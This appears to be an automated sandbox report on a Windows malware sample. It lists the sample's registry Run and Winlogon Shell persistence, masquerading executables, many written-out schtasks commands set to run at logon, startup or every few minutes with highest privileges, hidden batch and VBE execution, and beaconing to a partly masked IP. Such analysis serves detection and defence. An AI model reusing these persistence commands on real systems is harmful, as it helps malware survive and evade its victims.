Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'audiodg' = '"C:\Far2\PluginSDK\Headers.c\audiodg.exe"'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\Far2\PluginSDK\Headers.c\audiodg.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'wininit' = '"C:\Far2\FExcept\wininit.exe"'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\Far2\PluginSDK\Headers.c\audiodg.exe", "C:\Far2\FExcept\wininit.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'firefox' = '"<Current directory>\firefox.exe"'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\Far2\PluginSDK\Headers.c\audiodg.exe", "C:\Far2\FExcept\wininit.exe", "<Current directory>\firefox.ex...
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'System' = '"C:\Documents and Settings\System.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'lsass' = '"%WINDIR%\twain_32\lsass.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\uksyaudiodg
- <SYSTEM32>\tasks\v15llsass
- <SYSTEM32>\tasks\8q6zlsass
- <SYSTEM32>\tasks\system
- <SYSTEM32>\tasks\rnezsystem
- <SYSTEM32>\tasks\n9qmfirefox
- <SYSTEM32>\tasks\firefox
- <SYSTEM32>\tasks\wininit
- <SYSTEM32>\tasks\bzggsystem
- <SYSTEM32>\tasks\emdmsystem
- <SYSTEM32>\tasks\w5y5firefox
- <SYSTEM32>\tasks\ppoufirefox
- <SYSTEM32>\tasks\biepwininit
- <SYSTEM32>\tasks\qjwqwininit
- <SYSTEM32>\tasks\cxhvwininit
- <SYSTEM32>\tasks\audiodg
- <SYSTEM32>\tasks\px6maudiodg
- <SYSTEM32>\tasks\0ykhaudiodg
- <SYSTEM32>\tasks\lsass
- <SYSTEM32>\tasks\v0gplsass
Modifies file system
Creates the following files
- C:\reviewrefsession\g8csqafiihqixioq9tmeercsap.bat
- C:\reviewrefsession\reviewrefsessionmonitordhcpcommon.exe
- C:\reviewrefsession\5nj2il6zcy.vbe
- C:\far2\pluginsdk\headers.c\audiodg.exe
- C:\far2\pluginsdk\headers.c\42af1c969fbb7b
- C:\far2\fexcept\wininit.exe
- C:\far2\fexcept\56085415360792
- <Current directory>\firefox.exe
- <Current directory>\0fc223bdacedc3
- C:\documents and settings\system.exe
- C:\documents and settings\27d1bcfc3c54e0
- %WINDIR%\twain_32\lsass.exe
- %WINDIR%\twain_32\6203df4a6bafc7
- %TEMP%\kv2t4bilbt
- %TEMP%\oulelnoe60.bat
- nul
Deletes the following files
- %TEMP%\kv2t4bilbt
Network activity
Connects to
- '37.##.133.171':80
TCP
HTTP GET requests
- http://37.##.133.171/Wordpress/WordpressSecure/external6protect/pollFlower.php?Ir################################################################################################################...
- http://37.##.133.171/Wordpress/WordpressSecure/external6protect/pollFlower.php?bR################################################################################################################...
UDP
- 'localhost':123
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\wscript.exe' "C:\reviewRefsession\5nj2iL6zcY.vbe"
- 'C:\reviewrefsession\reviewrefsessionmonitordhcpcommon.exe'
- '%WINDIR%\twain_32\lsass.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\reviewRefsession\G8csQAFIihQIxIOq9tmEeRCSap.bat" "' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\ouLelNoe60.bat"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\reviewRefsession\G8csQAFIihQIxIOq9tmEeRCSap.bat" "
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc MINUTE /mo 12 /tr "'%WINDIR%\twain_32\lsass.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8q6Zlsass" /sc ONSTART /tr "'%WINDIR%\twain_32\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "V15llsass" /sc ONLOGON /tr "'%WINDIR%\twain_32\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "v0gPlsass" /sc MINUTE /mo 5 /tr "'%WINDIR%\twain_32\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "System" /sc MINUTE /mo 12 /tr "'C:\Documents and Settings\System.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "bzggSystem" /sc ONSTART /tr "'C:\Documents and Settings\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "RNezSystem" /sc ONLOGON /tr "'C:\Documents and Settings\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "eMDMSystem" /sc MINUTE /mo 11 /tr "'C:\Documents and Settings\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc MINUTE /mo 13 /tr "'<Current directory>\firefox.exe'" /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\ouLelNoe60.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "PpOufirefox" /sc ONSTART /tr "'<Current directory>\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "n9qmfirefox" /sc MINUTE /mo 13 /tr "'<Current directory>\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc MINUTE /mo 12 /tr "'C:\Far2\FExcept\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "cXhvwininit" /sc ONSTART /tr "'C:\Far2\FExcept\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "biepwininit" /sc ONLOGON /tr "'C:\Far2\FExcept\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "qJwQwininit" /sc MINUTE /mo 6 /tr "'C:\Far2\FExcept\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodg" /sc MINUTE /mo 12 /tr "'C:\Far2\PluginSDK\Headers.c\audiodg.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "pX6Maudiodg" /sc ONSTART /tr "'C:\Far2\PluginSDK\Headers.c\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "0ykhaudiodg" /sc ONLOGON /tr "'C:\Far2\PluginSDK\Headers.c\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "uKsYaudiodg" /sc MINUTE /mo 12 /tr "'C:\Far2\PluginSDK\Headers.c\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "w5Y5firefox" /sc ONLOGON /tr "'<Current directory>\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
